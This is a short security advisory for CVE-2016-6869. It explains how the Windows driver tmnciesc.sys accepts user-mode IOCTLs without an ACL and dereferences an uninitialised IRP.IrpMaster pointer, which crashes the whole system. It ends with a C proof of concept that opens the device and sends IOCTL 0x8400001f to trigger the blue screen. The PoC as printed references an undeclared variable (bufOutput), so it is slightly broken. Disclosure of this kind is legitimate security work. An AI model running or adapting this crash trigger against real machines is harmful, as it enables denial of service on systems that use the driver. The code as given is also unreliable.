CVE-2016-6869

Information

This security issue is a lack of usermod-input validation of the IOCTL (I/O Control Code) that goes to the driver dispatch routine (IRP_MJ_DEVICE_CONTROL).

Inside the driver’s (tmnciesc.sys) IRP_MJ_DEVICE_CONTROL dispatch routine there 2 possible ways that IRP can be sent to the driver.
The driver receives and handle IRP requests both from other drivers and from userland (thought I/OManager).

The driver does not apply any ACL on itself, every process on the system can send IOCTLs to the driver.

In a particular flow inside the dispatch routine, which the driver expects to receive IRP request from other driver - if the driver’s dispatch-routine receives the IRP request from other resource (for example, from the userland via i/omanager), than a certain struct inside the IRP (IRP.IrpMaster) packet does not get initialized and points to NULL - because the driver received the IRP request from userland process and not from a driver, therefore - this struct does not exists and points to NULL, the driver still tries to use this struct and a NULL-Dereference exception (Access Violation) occurs which leads to BSOD (blue screen of death) and crashes the whole system.

Crash Dump

None

PoC

#include <Windows.h>

int main(int argc, _TCHAR* argv[]) {
    HANDLE hDevice = CreateFileA("\\\\.\\tmnciesc", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if(hDevice == INVALID_HANDLE_VALUE) {
               return 1;
    }
    DWORD nbBytes = 0;
    CHAR buf[0x1000+1] = "\x00";
    DeviceIoControl(hDevice, 0x8400001f, (LPVOID)&buf, 0x000009cb, bufOutput, 0x00000fe7, &nbBytes, NULL);
    return 0;
}